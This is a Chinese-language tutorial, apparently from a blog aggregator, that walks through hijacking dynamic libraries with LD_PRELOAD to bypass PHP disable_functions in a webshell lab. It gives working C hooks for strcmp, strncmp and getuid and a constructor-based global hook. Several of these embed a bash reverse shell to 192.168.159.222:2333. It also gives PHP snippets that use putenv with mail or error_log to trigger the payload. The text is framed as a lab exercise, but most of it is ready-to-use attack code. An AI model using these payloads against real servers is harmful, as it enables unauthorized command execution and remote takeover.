当前位置: 首页 > news >正文

利用 LD_PRELOAD劫持动态链接库,绕过 disable_function

目录

LD_PRELOAD 简介

程序的链接

动态链接库的搜索路径搜索的先后顺序:

利用LD_PRELOAD

简单的劫持

执行id命令

反弹shell

引申至 PHP

绕过disable_function

方法1:使用蚁剑的扩展工具绕过disable_function

方法2:利用 mail 函数启动新进程

方法3:利用 error_log 函数启动新进程

方法4:劫持系统新进程


LD_PRELOAD 简介

LD_PRELOADLinux/Unix系统的一个环境变量,它影响程序的运行时的链接(Runtime linker),它允许在程序运行前定义优先加载的动态链接库。

这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。

通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

通过上述对 LD_PRELOAD 的功能的描述,我们可以想到,既然能够覆盖正常的函数库,那么我们是不是就可以利用这里的功能来向程序中注入我们想要实现的代码或者说程序,来实现我们的目的呢?

程序的链接

程序的链接可以分为以下三种

  • 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。

  • 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。

  • 运行时动态链接:原程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。

静态链接库,在Linux下文件名后缀为.a,如libstdc++.a。在编译链接时直接将目标代码加入可执行程序。

动态链接库,在Linux下是.so文件,在编译链接时只需要记录需要链接的号,运行程序时才会进行真正的“链接”,所以称为“动态链接”。如果同一台机器上有多个服务使用同一个动态链接库,则只需要加载一份到内存中共享,因此, 动态链接库也称共享库 或者共享对象。

动态链接库的搜索路径搜索的先后顺序:

  • 编译目标代码时指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 环境变量LD_LIBRARY_PATH指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 配置文件/etc/ld.so.conf中指定的动态库搜索路径(可指定多个搜索路径,按照先后顺序依次搜索);

  • 默认的动态库搜索路径/lib

  • 默认的动态库搜索路径/usr/lib

不过可以发现,这里我们要利用的环境变量 LD_PRELOAD 并没有出现在这里的搜索路径之中,反而出现了一个 LD_LIBRARY_PATH。

下面是对LD_PRELOAD和LDPRELOAD_PATH的对比介绍:

LD_PRELOAD(not LD_PRELOAD_PATH) 是要在任何其他库之前加载的特定库 ( files ) 的列表,无论程序是否需要。

LD_LIBRARY_PATH是在加载无论如何都会加载的库时要搜索的 目录列表。

 可见,这里 LD_PRELOAD 甚至超脱于动态链接库的搜索路径先后顺序之外,它可以指定在程序运行前优先加载的动态链接库

利用LD_PRELOAD

我们重写程序运行过程中所调用的函数并将其编译为动态链接库文件,然后通过我们对环境变量的控制来让程序优先加载这里的恶意的动态链接库,进而实现我们在动态链接库中所写的恶意函数。

具体的操作步骤如下:

  1. 定义一个函数,函数的名称、变量及变量类型、返回值及返回值类型都要与要替换的函数完全一致。这就要求我们在写动态链接库之前要先去翻看一下对应手册等。

  2. 将所写的 c 文件编译为动态链接库。

  3. 对 LD_PRELOAD 及逆行设置,值为库文件路径,接下来就可以实现对目标函数原功能的劫持了

  4. 结束攻击,使用命令 unset LD_PRELOAD 即可

这个攻击方式可以用在任意语言之中,我们这里用一个 C 语言的 demo 来进行一下测试。

这里我的实验环境是Ubuntu

简单的劫持

(1)首先编辑一个c文件:
cat demo.c 

#include <stdio.h>
#include <string.h>int main(int argc, char **argv) {  char name[] = "mon"; //定义了数组name[] 里面有“mon”if (argc < 2) {printf("usage: %s <given-name>\n", argv[0]);return 0;}if (!strcmp(name, argv[1])) {printf("\033[0;32;32mYour name Correct!\n\033[m");return 1;} else {printf("\033[0;32;31mYour name Wrong!\n\033[m");return 0;}
}

(2)然后使用gcc -o demo demo.c来编译

gcc -o demo demo.c 

编译的结果:

(3)可以试着运行一下这个编译后的文件:

可以看到他需要传入一个参数,那么我们就给他传入一个参数试试:

 

可以看到这时的结果为Your name Wrong!

(4)我们接下来写一个动态链接库,目标函数为这里进行判断的 strcmp 函数  

cat hook_strcmp.c:

#include <stdlib.h>
#include <string.h>
int strcmp(const char *s1, const char *s2) { //这里吧系统提供给我们的函数劫持了,让这个程序永远返回为假,让上面的c语言代码中的if语句永远为假if (getenv("LD_PRELOAD") == NULL) { return 0;}unsetenv("LD_PRELOAD");return 0;
}

由于我们通过 LD_PRELOAD 劫持了函数,劫持后启动了一个新进程,若不在新进程启动前取消 LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量 LD_PRELOAD,最直接的就是调用 unsetenv("LD_PRELOAD")

(5)现在编译这个动态链接库

gcc -shared -fPIC hook_strcmp.c -o hook_strcmp.so

(6)然后设置环境变量:

 export LD_PRELOAD=$PWD/hook_strcmp.so

(7)现在我们可以再次尝试执行demo.c查看结果:

可以看到,现在我们无论传入什么值,结果都会输出Your name Correct!

此时我们已经使用LD_PRELOAD劫持了 demo.c 函数的动态链接库

在操作系统中,命令行下的命令实际上是由一系列动态链接库驱动的,在 linux 中我们可以使用readelf -Ws命令来查看,同时系统命令存储的路径为/uer/bin

既然都是使用动态链接库,那么假如我们使用 LD_PRELOAD 替换掉系统命令会调用的动态链接库,那么我们是不是就可以利用系统命令调用动态链接库来实现我们写在 LD_PRELOAD 中的恶意动态链接库中恶意代码的执行了呢?

那这里尝试使用使用LD_PRELOAD劫持ls,在其动态链接库执行前执行id操作

执行id命令

(1)首选编写一个劫持文件hook_ls_strcmp.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("id");
}int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

(2)编译为动态链接库的形式

 gcc -Wall -fPIC -shared -o hook_ls_strcmp.so hook_ls_strcmp.c 
/usr/include/string.h: In function ‘strncmp’:
hook_ls_strcmp.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

 注:这里只是有一个警告,不用官它

编译完成后的:

设置环境变量:

 export  LD_PRELOAD=$PWD/hook_ls_strcmp.so

然后尝试使用ls命令:

可以看到在正常的命令前我们劫持动态链接库,插入的id命令在ls命令前执行了!

既然已经调用了 id,那么我们完全可以再利用这里的执行命令来反弹一个 shell

反弹shell

这里我使用192.168.159.223(ununtu)这台设备用做被反弹主机

新建一个.c后面用于链接库的文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}int strncmp(const char *__s1, const char *__s2, size_t __n) {    // 这里函数的定义可以根据报错信息进行确定if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

反弹主机:用的是cetos的192.168.159.222主机

因为没有nc现在先安装一个nc:

yum install  nc

然后再192.168.159.222上使用nc监听着:

nc -lvvp 2333
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

然后在ubuntu上编译这个nc文件:

gcc -Wall -fPIC -shared -o hook_nc.so hook_nc.c 
/usr/include/string.h: In function ‘strncmp’:
hook_nc.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

然后将该so文件设置到环境变量中

export  LD_PRELOAD=$PWD/hook_nc.so

在centos上使用nc监听2333端口:

最后在ubuntu这里使用ls命令:

再看centos这里已经成功的反弹到ununtu的shell了

引申至 PHP

既然我们已经劫持了系统命令,那么我们是不是就有办法在 web 环境中实现基于 LD_PRELOAD 的 RCE 呢?

但是这里实际上是要仔细思考一下的。

我们需要一个 新的进程 的启动,加之环境变量的操纵与文件上传和文件包含,有时候,我们已经拿到了 shell ,但是因为disable_functions不能执行命令,不能拿到想要的东西,而我们利用 LD_PRELOAD 劫持进程之后的反弹 shell ,就可以执行任意命令了,这也就是我们常说的 绕过 disable_function

绕过disable_function

这里的测试环境:Nginx反向代理实现负载均衡webshell

(1)首先我们进入到对应环境中

/root/AntSword-Labs-master/bypass_disable_functions
然后可以看到有9个文件夹,这里进入1中:

(2)使用docker-compose拉取环境

docker-compose up -d

 这里可以查看一下容器是否运行:

 然后查看文件会发现,这里已经有了一个现成的后门php文件

(3)尝试使用蚁剑连接一下

我们可以登录到容器中:

docker exec -it 5ce1bb59245c /bin/bash

查看这个后门木马文件:

我们可以在蚁剑中新建一个phpinfo.php文件用来查看php的配置:

在浏览器中访问:

在这里可以看到这里将所有可以进行命令执行的函数都禁用掉了,因此这个webshell什么都干不了

 我们可以在蚁剑中打开终端尝试一下:

可以看到确实什么命令都无法执行

想要执行命令需要利用以下两个条件:

第一 php需要启动一个新的进程

第二 控制环境变量

不过这里我们可以注意到一个点很关键,我们需要启动一个新的进程,并利用 LD_PRELOAD 劫持这个进程相关的链接库。

方法1:使用蚁剑的扩展工具绕过disable_function

使用「绕过 disable_functions」插件, 选择 LD_PRELOAD 模式进行

注:没有该插件可以到插件市场中安装一个

然后修改webshell:

然后在到终端测试,就会发现这里可以执行命令了

方法2:利用 mail 函数启动新进程

我们可以先来看一下 mail 函数会调用什么动态链接库:

(1)首先写一个 mail.php

<?php
mail("a@localhost","","","","");
?>

(2)执行以下命令查看进程调用的系统函数明细

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

 (3)然后我们编写劫持mail的c文件hook_getuid.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>void payload() {system("bash -c 'bash -i >& /dev/tcp/192.168.159.222/2333 0>&1'");
}uid_t getuid() {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();
}

(4)编译

gcc -Wall -fPIC -shared -o hook_getuid.so hook_getuid.c 
hook_getuid.c: In function ‘getuid’:
hook_getuid.c:15:1: warning: control reaches end of non-void function [-Wreturn-type]}^

(5)编译后我们可以利用 putenv 函数来实现链接库的设置  

<?php
putenv('LD_PRELOAD=/var/www/html/hook_getuid.so'); //注意,这里需要有权限
mail("a@localhost","","","","");
?>

(6)现在centos上对2333端口进行监听

(7) 在ubuntu上执行mail.php文件

(8)然后就可以看到centos这里成功的反弹了ubuntu的shell

方法3:利用 error_log 函数启动新进程

error_log 也存在发送信息的行为,我们可以看到这里也是向邮箱中发送信息,决定发送方式的是倒数第三个参数,为 1 时为邮箱,当然也有可以不存在的参数。

方法与mail的方法大致相同,只需要将php文件修改为以下内容即可

<?php
putenv('LD_PRELOAD=/usr/share/nginx/html/hook_getuid.so');
error_log("",1,"","");
?>

我们可以发现,上面的情况实际上导致了我们的攻击面是非常窄小的,我们在实际情况中很容易就会出现并没有安装 sendmail 的情况,就和我一开始进行测试的时候一样 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件等。那么有没有什么其他的方法呢?下面这种方法就可以

方法4:劫持系统新进程

设想这样一种思路:利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),a.bin 内部调用系统函数 b(),b() 位于系统共享对象 c.so 中,所以系统为该进程加载共 c.so,我想法在 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内 b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。

基于这一思路,将突破 disable_functions 限制执行操作系统命令这一目标,大致分解成几步在本地推演:

查看进程调用系统函数明细、操作系统环境下劫持系统函数注入代码、找寻内部启动新进程的 PHP 函数、PHP 环境下劫持系统函数注入代码。

系统通过 LD_PRELOAD 预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那么就完全可以不依赖 sendmail 了。

这里场景让人不禁联想到构造方法,最后找到了在 GCC 中有一个 C 语言的扩展修饰符:

`__attribute__((constructor))` ,这个修饰符可以让由它修饰的函数在 main() 之前执行,如果它出现在我们的动态链接库中,那么我们的动态链接库文件一旦被系统加载就将立即执行`__attribute__((constructor))` 所修饰的函数。

这样就将我们的格局打开了,我们要做的是劫持动态链接库这个共享对象本身而不是单独局限于劫持某几个函数。

以劫持 ls 为例,我们之前所做的就是找到 ls 命令所调用的某一个动态链接库,然后对其进行劫持,但是我们在这里完全可以使用`__attribute__((constructor))` 自动加载之后来直接对 ls 命令进行劫持

(1)我们新建一个global_hook.c文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>__attribute__ ((__constructor__)) void preload (void){unsetenv("LD_PRELOAD");system("id");
}

(2)编译

gcc -shared -fPIC global_hook.c -o global_hook.so

(3)加载到环境变量

export LD_PRELOAD=$PWD/global_hook.so

(4)我们测试以下执行命令

可以看到,这些有动态链接文件的命令在执行前都会执行id命令,这种方式这是一种全局的劫持

相关文章:

利用 LD_PRELOAD劫持动态链接库,绕过 disable_function

目录 LD_PRELOAD 简介 程序的链接 动态链接库的搜索路径搜索的先后顺序&#xff1a; 利用LD_PRELOAD 简单的劫持 执行id命令 反弹shell 引申至 PHP 绕过disable_function 方法1&#xff1a;使用蚁剑的扩展工具绕过disable_function 方法2&#xff1a;利用 mail 函数…...

网件R8500 trojan

一 将路由器刷机成改版梅林 路由器首页的Firmware:380.70_0-X7.9.1是梅林改版 380.xx 梅林原版固件 380.xx_x 梅林改版固件 必须是改版梅林才支持trojan&#xff0c;所以要确保是梅林改版固件 点击上传文件&#xff0c;选择下载好的改版固件&#xff0c;固件地址下载传送门…...

实现校园网开机自启动部署

❤️博客主页&#xff1a; iknow181&#x1f525;系列专栏&#xff1a; Python、JavaSE、JavaWeb、CCNP&#x1f389;欢迎大家点赞&#x1f44d;收藏⭐评论✍ 目录 一.准备工作 1、IDE安装 2、安装Selenium 1.介绍 2.下载 3、安装pywifi 1.介绍 2.下载 4、下载浏览器驱…...

pycharm 创建vue并实现简易路由功能

使用pycharm创建vue项目时&#xff0c;选择vite来创建vue。为什么使用vite&#xff1f;因为vite是专门针对vue开发的打包框架&#xff0c;以前使用vue-cli来创建vue项目&#xff0c;就是使用的webpack来进行打包的&#xff0c;现在有了vite&#xff0c;就尽量使用vite来创建vue…...

2023年关于爬取Bilibili(B站)视频的一些最新资源和案例

2023年关于爬取Bilibili&#xff08;B站&#xff09;视频的一些最新资源和案例&#xff1a; Python爬取B站视频教程 &#xff1a;在Bilibili上发布了一个全面的Python教程系列&#xff0c;其中包括了专门关于爬取B站视频的部分。这个系列似乎涵盖了从基础到人工智能等Python主…...

HyperBDR云容灾v4.10.1发布,划重点:支持UCloud云平台自动化容灾+新增可灵活定义的备份策略

版本更新 HyperBDR云容灾v4.10.1版本来啦&#xff01; 此次更新为大家带来了多个新功能&#xff0c;下面让我们来看看具体是哪些吧~ 01 策略管理新功能&#xff1a; 多时间段限速功能&#xff1a; 更加灵活的多个时间段限速选择&#xff0c;可以在创建策略时为不同的时间段设…...

第四十一篇,一次matlab与spdlog的合作

做了一次matlab解析spdlog日志文件并动态绘制行车轨迹的尝试&#xff0c;大获成功。 spdlog的存储&#xff0c;数据头有固定格式如下&#xff1a; 日志类型一个字符空格[日期时间]空格[日志内容tag]空格日志内容 有了固定的格式&#xff0c;做解析就好办了。 &#xff08;日…...

【苍穹外卖】——第一天

第一天学习目标&#xff1a; 本系列只是对于学习苍穹外卖的一个学习总结和问题记录&#xff0c;学习的话还是照着黑马的视频学习 对内容有一个整体把握 搭建项目环境 对一些基础的名词理解 了解nginx反向代理和负载均衡 能使用Swagger测试后端接口 学习内容&#xff1a; pojo分…...

解决SecureFX的中文乱码问题

SecureFX的乱码截图 一般出现乱码问题&#xff0c;看起来会很烦&#xff0c;所以&#xff0c;我们要干掉它。 解决步骤&#xff1a; 1&#xff0c;在SecureFX中&#xff0c;选择“选项”-“全局选项”&#xff0c;打开对话框&#xff0c;不同的版本可能会显示略有不同&#x…...

【字符串匹配】【KMP算法】Leetcode 28 找出字符串中第一个匹配项的下标☆

【字符串匹配】【KMP算法】Leetcode 28 找出字符串中第一个匹配项的下标 &#xff08;1&#xff09;前缀和后缀&#xff08;2&#xff09;前缀表&#xff08;最长相同的前缀和后缀的长度&#xff09;&#xff08;3&#xff09;匹配过程示意&#xff08;4&#xff09;next数组的…...

《洛谷深入浅出进阶篇》模意义下的乘法逆元+洛谷P3811

什么是乘法逆元&#xff1f; 算数意义上的乘法逆元指的是倒数&#xff0c;即&#xff1a;a*&#xff08;1/a&#xff09;1 所以 1/a 是 a在算数意义下的乘法逆元&#xff0c;或者可以说二者互为逆元。 这有什么用呢&#xff1f; 除以a就等于乘上a的乘法逆元&#xff0c;乘以…...

clickhouse -- clickhouse解析复杂JSON数组

举例 - 查数据 select _id,doctorId,patientId,diagnosisList from patient_disease final where diagnosisList is not null limit 3;- 解析数组 SELECT _id,doctorId,patientId,visitParamExtractRaw(diagnosisList,diagnosisName) FROM patient_disease final where _id …...

算法leetcode|91. 解码方法(rust重拳出击)

文章目录 91. 解码方法&#xff1a;样例 1&#xff1a;样例 2&#xff1a;样例 3&#xff1a;提示&#xff1a; 分析&#xff1a;题解&#xff1a;rust&#xff1a;go&#xff1a;c&#xff1a;python&#xff1a;java&#xff1a; 91. 解码方法&#xff1a; 一条包含字母 A-Z…...

zabbix配置snmp trap--使用snmptrapd和Bash接收器(缺zabbix_trap_handler.sh文中自取)--图文教程

1.前言 我的zabbix的版本是5.0版本&#xff0c;5.0的官方文档没有使用bash接收器的示例&#xff0c;6.0的官方文档有使用bash接收器的示例&#xff0c;但是&#xff0c;下载文件的链接失效&#xff1f;&#xff01; 这里讲解zabbix-server端配置和zabbix web端配置 2.zabbix-…...

vue: 线上项目element-ui的icon偶尔乱码问题

线上环境偶尔会复现&#xff0c; 具体&#xff1a; 一般使用不会出现这个问题&#xff0c;因为一般引入的是element-ui的css文件&#xff0c;问题出在于为了主题色变化啊&#xff0c;需要用到scss变量引入了scss文件。 import “~element-ui/packages/theme-chalk/src/index”…...

fpga rom 初始化文件的一些心得

目录 可能遇到的问题 问题 解决方案 rom的初始化 用途 文件类型 如何生成初始化文件 示例 Altera Xilinx 可能遇到的问题 问题 altera FPGA的rom找不到初始化文件&#xff0c;编译过程会提示类似的问题 Error(127001): Cant find Memory Initialization File or He…...

从零构建属于自己的GPT系列3:模型训练2(训练函数解读、模型训练函数解读、代码逐行解读)

&#x1f6a9;&#x1f6a9;&#x1f6a9;Hugging Face 实战系列 总目录 有任何问题欢迎在下面留言 本篇文章的代码运行界面均在PyCharm中进行 本篇文章配套的代码资源已经上传 从零构建属于自己的GPT系列1&#xff1a;文本数据预处理 从零构建属于自己的GPT系列2&#xff1a;语…...

Python词频统计(数据整理)

请编写程序&#xff0c;对一段英文文本&#xff0c;统计其中所有不同单词的个数&#xff0c;以及词频最大的前10%的单词。 输入格式: 输入给出一段非空文本&#xff0c;最后以符号#结尾。输入保证存在至少10个不同的单词。 输出格式: 在第一行中输出文本中所有不同单词的个数…...

基本面选股的方法

基本面选股是一种投资策略&#xff0c;主要关注公司的财务状况、盈利能力、行业地位等因素&#xff0c;以判断公司的价值并做出投资决策。以下是基本面选股的具体分析方法和重点&#xff1a; 财务状况分析&#xff1a; 利润表分析&#xff1a;关注公司的净利润、毛利率、营业…...

应用密码学期末复习(3)

目录 第三章 现代密码学应用案例 3.1安全电子邮件方案 3.1.1 PGP产生的背景 3.2 PGP提供了一个安全电子邮件解决方案 3.2.1 PGP加密流程 3.2.2 PGP解密流程 3.2.3 PGP整合了对称加密和公钥加密的方案 3.3 PGP数字签名和Hash函数 3.4 公钥分发与认证——去中心化模型 …...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

遍历 Map 类型集合的方法汇总

1 方法一 先用方法 keySet() 获取集合中的所有键。再通过 gey(key) 方法用对应键获取值 import java.util.HashMap; import java.util.Set;public class Test {public static void main(String[] args) {HashMap hashMap new HashMap();hashMap.put("语文",99);has…...

《用户共鸣指数(E)驱动品牌大模型种草:如何抢占大模型搜索结果情感高地》

在注意力分散、内容高度同质化的时代&#xff0c;情感连接已成为品牌破圈的关键通道。我们在服务大量品牌客户的过程中发现&#xff0c;消费者对内容的“有感”程度&#xff0c;正日益成为影响品牌传播效率与转化率的核心变量。在生成式AI驱动的内容生成与推荐环境中&#xff0…...

工程地质软件市场:发展现状、趋势与策略建议

一、引言 在工程建设领域&#xff0c;准确把握地质条件是确保项目顺利推进和安全运营的关键。工程地质软件作为处理、分析、模拟和展示工程地质数据的重要工具&#xff0c;正发挥着日益重要的作用。它凭借强大的数据处理能力、三维建模功能、空间分析工具和可视化展示手段&…...

k8s业务程序联调工具-KtConnect

概述 原理 工具作用是建立了一个从本地到集群的单向VPN&#xff0c;根据VPN原理&#xff0c;打通两个内网必然需要借助一个公共中继节点&#xff0c;ktconnect工具巧妙的利用k8s原生的portforward能力&#xff0c;简化了建立连接的过程&#xff0c;apiserver间接起到了中继节…...

听写流程自动化实践,轻量级教育辅助

随着智能教育工具的发展&#xff0c;越来越多的传统学习方式正在被数字化、自动化所优化。听写作为语文、英语等学科中重要的基础训练形式&#xff0c;也迎来了更高效的解决方案。 这是一款轻量但功能强大的听写辅助工具。它是基于本地词库与可选在线语音引擎构建&#xff0c;…...

【C++进阶篇】智能指针

C内存管理终极指南&#xff1a;智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7

在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤&#xff1a; 第一步&#xff1a; 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为&#xff1a; // 改为 v…...

Vue3中的computer和watch

computed的写法 在页面中 <div>{{ calcNumber }}</div>script中 写法1 常用 import { computed, ref } from vue; let price ref(100);const priceAdd () > { //函数方法 price 1price.value ; }//计算属性 let calcNumber computed(() > {return ${p…...